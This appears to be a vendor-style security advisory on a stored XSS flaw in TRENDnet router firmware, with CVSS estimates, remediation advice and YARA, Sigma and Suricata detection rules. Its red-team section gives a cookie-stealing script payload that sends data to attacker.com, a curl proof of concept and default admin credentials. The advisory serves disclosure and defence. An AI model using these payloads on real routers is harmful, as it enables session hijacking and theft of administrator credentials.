CVE-2024-51190

Executive Summary

CVE-2024-51190 identifies a stored Cross-Site Scripting (XSS) vulnerability in multiple TRENDnet router models: TEW-651BR (firmware 2.04B1), TEW-652BRP (firmware 3.04b01), and TEW-652BRU (firmware 1.00b12). The flaw resides in the /special_ap.htm page, specifically within the ptRule_ApplicationName_1.1.6.0.0 parameter. An authenticated attacker can inject malicious scripts that are stored on the device and executed in the browsers of other administrators viewing the affected page. This can lead to session hijacking, credential theft, or further compromise of the router's administrative interface. As of this report, no official patch has been released by TRENDnet, and the vendor has not acknowledged the vulnerability.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects embedded firmware on consumer-grade networking hardware. The supply chain risk is limited to the physical device and its firmware distribution channels.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, indicating that a full vector has not been assigned. Based on the vulnerability characteristics, a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – The vulnerable page is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker must have administrative access to the router.
• User Interaction (UI): Required (R) – The victim must visit the /special_ap.htm page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Potential for session token theft.
• Integrity (I): Low (L) – The attacker can modify content within the victim's browser.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires authentication, but the impact can be significant for network administrators.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The /special_ap.htm page is used to configure application rules for port forwarding or QoS. The parameter ptRule_ApplicationName_1.1.6.0.0 is intended to hold a user-friendly name for a rule. The application fails to sanitize or encode this input before storing it and later rendering it in the HTML page.

Attack Flow:

1. An authenticated attacker logs into the router's web interface.
2. The attacker navigates to the /special_ap.htm page.
3. The attacker crafts a malicious payload, such as <script>alert('XSS')</script>, and submits it via the ptRule_ApplicationName_1.1.6.0.0 parameter.
4. The router stores this payload in its configuration (likely in NVRAM or a configuration file).
5. When another administrator (or the same attacker later) visits /special_ap.htm, the stored payload is rendered in the HTML without sanitization.
6. The victim's browser executes the script, which can steal cookies, redirect to a phishing page, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding or input validation on the ptRule_ApplicationName_1.1.6.0.0 parameter. The application likely uses a simple echo or print function to display the stored value without escaping HTML entities.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual PHP/Python/Embedded C):

// Vulnerable: Directly echoes user input without sanitization
$appName = $_POST['ptRule_ApplicationName_1.1.6.0.0'];
// ... store in database ...
echo "<td>" . $appName . "</td>";

Patched Code (Expected Fix):

// Patched: HTML-encode the output
$appName = htmlspecialchars($_POST['ptRule_ApplicationName_1.1.6.0.0'], ENT_QUOTES, 'UTF-8');
// ... store in database ...
echo "<td>" . $appName . "</td>";

The fix involves using a function like htmlspecialchars() (PHP), escape() (Python Flask), or Encode.forHtml() (Java OWASP ESAPI) to convert special characters (<, >, ", ', &) into their HTML entity equivalents.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a TRENDnet TEW-651BR, TEW-652BRP, or TEW-652BRU router with default or known credentials.
• Network connectivity to the router's web interface.

Exploitation Steps:

1. Log in to the router's web interface (default credentials often admin/admin).
2. Navigate to http://<router-ip>/special_ap.htm.
3. Locate the form field for ptRule_ApplicationName_1.1.6.0.0 (may be labeled "Application Name" or similar).
4. Inject a payload. For example, to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Submit the form.
6. When another admin visits the page, the script executes and sends the cookie to your server.

Proof-of-Concept (PoC) using cURL:

curl -X POST http://<router-ip>/special_ap.htm \
  -d "ptRule_ApplicationName_1.1.6.0.0=<script>alert('XSS')</script>" \
  -b "session=<valid_session_cookie>"

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /special_ap.htm containing suspicious parameters.
• Look for <script>, onerror=, javascript: patterns in the ptRule_ApplicationName_1.1.6.0.0 field.
• Check web server logs for unusual characters in the referrer or user-agent fields.

Mitigation:

• Immediately change default credentials.
• Restrict administrative access to trusted IP addresses only.
• Disable remote management if not required.
• Implement a Web Application Firewall (WAF) to filter XSS payloads.
• Monitor for unauthorized configuration changes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /special_ap.htm with ptRule_ApplicationName_1.1.6.0.0 containing <script> tags.
  • Outbound connections from the router to unknown IP addresses on port 80/443 (potential callback).
• Host IOCs:
  • Unusual entries in the router's configuration file (e.g., config.bin or NVRAM) containing JavaScript.
  • Modified special_ap.htm page source showing injected script tags.
• Log IOCs:
  • Repeated login attempts from different IPs.
  • Access logs showing /special_ap.htm with non-standard parameters.

Detection Engineering

YARA Rule

rule TRENDnet_Stored_XSS_CVE_2024_51190 {
    meta:
        description = "Detects stored XSS payload in TRENDnet router configuration"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-51190"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"].*?['\"]/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: TRENDnet Router Stored XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-51190 stored XSS in TRENDnet routers
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/special_ap.htm'
        cs-uri-query|contains: 'ptRule_ApplicationName_1.1.6.0.0'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in application names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"TRENDnet Stored XSS Attempt (CVE-2024-51190)";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/special_ap.htm";
    http_uri;
    content:"ptRule_ApplicationName_1.1.6.0.0";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change Default Credentials: Ensure all administrative passwords are strong and unique.
2. Disable Remote Management: If not needed, turn off WAN-side access to the router's web interface.
3. Restrict Access: Use IP whitelisting to limit administrative access to trusted networks.
4. Monitor Logs: Regularly review router logs for suspicious activity.

Long-Term Solutions:

• Vendor Patch: Contact TRENDnet support and request a firmware update. As of this report, no patch exists.
• Device Replacement: Consider replacing affected routers with models that receive regular security updates.
• WAF Implementation: Deploy a Web Application Firewall (e.g., ModSecurity) in front of the router to filter malicious payloads.
• Network Segmentation: Place the router in a separate VLAN and restrict access to its management interface.

Workaround:

• Manually edit the router's configuration file (if accessible via TFTP or backup) to remove any suspicious entries.
• Use a script to periodically check for unauthorized changes to the /special_ap.htm page.

Valters IT
Securing Your Digital Frontier